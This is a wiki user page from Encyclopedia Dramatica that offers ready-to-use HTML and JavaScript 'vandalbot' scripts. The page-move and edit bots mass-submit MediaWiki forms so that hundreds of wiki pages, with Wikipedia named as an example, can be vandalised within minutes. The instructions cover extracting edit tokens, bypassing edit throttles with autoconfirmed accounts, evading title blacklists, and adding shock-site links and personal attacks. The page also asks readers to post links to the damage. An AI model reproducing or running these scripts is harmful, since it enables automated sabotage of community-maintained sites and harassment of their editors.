BUY A SHIRT!
The ED TShirt Shop is open for business! Use discount code ED2009 for 10% off! Click here to shop.
ED5 Pollfest is going on now! Register a forums accounts and help us find the best article in the five year history of Encyclopedia Dramatica. For today's poll, go here!
Thanks to Kale for donating $666, and he wants to remind you all to nevar forget dem towers in New York.



User:Myveryownsock/Vandalbot

From Encyclopedia Dramatica

Jump to: navigation, search

A browser side vandal bot script for executing vandalism. The page consists of a HTML form simulating the form you normally use to edit, and Javascript that automatically submits the form rapidly, allowing you to destroy hundreds of pages in a few minutes. There is also an API.php version available for each bot, which submits the form via the MediaWiki API, an interface designed for bots. Only tested to work on Firefox, though IE might possibly work.

I AM NOT RESPONSIBLE FOR WHAT YOU DO WITH THIS!!!

This code is licensed to you by the GFDL. Feel free to modify, use and distribute at your will.

Contents

Choosing a script

It is preferred that you use the API versions because it is faster. Find the API.php of the target wiki. Usually, you can replace the index.php of the URL with api.php to find it. For example, on wikipedia it is http://en.wikipedia.org/w/api.php. If there is no api.php, use the normal version. There is a page move script and a page editing script.

User friendly instructions

  1. Copy the below code, and save it as a .html file
  2. Replace [URL OF INDEX.PHP OF THE TARGET WIKI HERE] with the index.php of the target wiki (without the [ ], newfag). For wikipedia, it is http://en.wikipedia.org/w/index.php
  3. Log in with an account that has page moving rights
  4. Open the HTML file in the same browser
  5. Find your edit token by going to any page, click Move page, View the page source, find the field that says "wpEditToken" and paste the value into the field. For expample, if you see <input type='hidden' value="a57bad0ca7bce5217c76ce08b20d639e+\" name="wpEditToken" />, then you would paste a57bad0ca7bce5217c76ce08b20d639e+\ into the field for the edit token.
  6. Fill in a reason for the page move. For bonus points, link to a shock site or make a personal attack
  7. Disable your pop up blocker. For best results, disable images to improve the speed
  8. Fill in a list of pages to vandalize in the text area, each of which should be seperated by a new line.
  9. Click Go!
  10. ????
  11. Profit!

Configuring

In the code there are various things you can adjust such as new page target, etc, just find the comments in the code and adjust as you please. You definitely want to change the new page title value, since HAGGER is going to be blacklisted. Make sure each new title is unique.

Damage done

For great justice, please put links to the damage you did below: (Note, the credit for this does not go to me)

Page move bot

<!-- Edit to the index.php of the target site -->
<form method="post" action="[URL OF INDEX.PHP OF THE TARGET WIKI HERE]?title=Special:MovePage&action=submit" id="movepage" target="test0">
Current New title:<input name="wpNewTitle" size="40" type="text" id="newTitle" /><br /> 
Current Old title:<input name="wpOldTitle" id="oldTitle" /> <br />
Reason:<textarea name="wpReason" id="wpReason" cols="60" rows="2">For epic lulz and Græt justice; for more info please see http://wiki.on.nimp.org</textarea><br />
<input name="wpWatch" type="hidden" value="1" id="watch" />
<input type="hidden" value="Move page" name="wpMove" />
Edit token:<input name="wpEditToken" value="ENTER YOUR EDIT TOKEN HERE" /><br />
<!--
Go to a random page, click Move page, View the page source, find the field that says "wpEditToken" and paste value in the quotation marks above.
-->
</form>

<input type="button" value="Go!" onclick="doit();" />
<br>
Targets:<br>
<textarea id="stuff" rows="10" cols="100">

</textarea>
<br>

<script type="text/javascript">
var newTitle = document.getElementById("newTitle");
var oldTitle = document.getElementById("oldTitle");

var x = 0, targets = new Array();


function doit() {
targets = stuff.value.split("\n");
x=0;
hit();
}



function hit() {
//Edit to determine the new page title
newTitle.value= "HAGGER??????????????????????????" + Math.random();
oldTitle.value= targets[x];
movepage.submit();
x++;
//Edit to adjust tabs number
movepage.target = "test" + (x%20);
//Edit to change page move speed
if (x<targets.length) { setTimeout("hit()", 500); }
}
</script>

Page mover: Api.php version

This version uses the api.php and should work faster, however not all wikis have an api.php




<!-- Edit to the api.php of the target site, for example on Wikipedia it is http://en.wikipedia.org/w/api.php -->
<form method="post" action=[URL OF API.PHP HERE]?action=move" id="movepage" target="test0">
New title:<input name="to" size="40" type="text" id="newTitle" /><br />
Old title:<input name="from" id="oldTitle" /> <br />
Reason:<textarea name="reason" id="wpReason" cols="60" rows="2">Blehhhhhhhhhhhhhhhhh!!!!</textarea><br />

Edit token:<input name="token" value="TOKEN HERE" /><br />
</form>

<input type="button" value="Go!" onclick="doit();" />
<br>
Targets:<br>
<textarea id="stuff" rows="10" cols="100">

</textarea>
<br>

<script type="text/javascript">
var x = 0, targets = new Array();
var newTitle = document.getElementById("newTitle");
var oldTitle = document.getElementById("oldTitle");


function doit() {
targets = stuff.value.split("\n");
x=0;
hit();
}



function hit() {
//Edit to determine the new page title
newTitle.value= "HAGGER??????" + Math.random();
oldTitle.value= targets[x];
movepage.submit();
x++;
//Edit to adjust tabs number
movepage.target = "test" + (x%20);
//Edit to change page move speed
if (x<targets.length) { setTimeout("hit()", 500); }
}
</script>

</body></html>

Edit bot

Same goes for this version, however you have to be logged in. Protip: Use an autoconfirmed account to bypass the edit throttle.

<form method="POST" id="hmm" target="test0">
<input type="hidden" name="wpSection" value="" />
<input type="hidden" name="wpStarttime" value="" />
<input type="hidden" name="wpEdittime" value="" />
<input type="hidden" name="wpScrolltop" value="0" />
Edit summary<input type="text" name="wpSummary" value="EDIT SUMMARY" />
<input type="hidden" name="wpSave" value="Save page" />
<br />
Enter your edit token here:<input name="wpEditToken" value="Edit token" length="30" />
<input type="hidden" name="wpAutoSummary" value="EDIT TOKEN" />
<br>


Content:<br>
<textarea name="wpTextbox1" rows="10" cols="100" id="textbox">

</textarea>
<br>
<input type="button" value="Go!" onclick="alert('Beginning Page edits');doit()" />
</form>

<br>List of pages to edit, seperated by a newline:<br>
<textarea id="stuff" rows="10" cols="100">
Page 1
Page 2
Page 3
</textarea>
<br>

<script type="text/javascript">
var x = 0, targets = new Array();
var parts = new Array();
function doit() {
var textbox = document.getElementById("textbox");
targets = stuff.value.split("\n");
x=0;
hit();
}
function hit() {
hmm.action="[URL OF INDEX.PHP OF TARGET WIKI HERE]" + targets[x] + "&action=submit";
//EDIT TO ADJUST TABS NUMBER
hmm.target= "test" + (x%20);
hmm.submit();
x++;
//EDIT TO ADJUST SPEED
if (x<targets.length) { setTimeout("hit()", 500); }
}
</script>

Edit bot (Api.php version)

<form method="POST" target="testing" action="[API URL HERE]?action=edit" id="editPage">
<input type="hidden" name="title" value="" id="title" />
<input type="hidden" name="minor" />
Edit summary<input type="text" name="summary" value="Enter edit summary here, or leave it blank" />
<input type="hidden" name="wpSave" value="Save page" />
<br />
Enter your edit token here:<input name="token" value="Edit token" length="30" />

<br>


Content:<br>
<textarea name="text" rows="10" cols="100" id="textbox"></textarea>
<br>
<input type="button" value="Go!" onclick="alert('Beginning Page edits');doit()" />
</form>

Pages to edit: <br>
<textarea id="stuff" rows="10" cols="100"></textarea>

<script type="text/javascript">
var x = 0, targets = new Array();
var title = document.getElementById("title");
function doit() {
targets = stuff.value.split("\n");
x=0;
hit();
}
function hit() {
title.value= targets[x];
editPage.submit();
x++;
if (x<targets.length) { setTimeout("hit()", 5000); }
}
</script>

See also

Personal tools
Link to this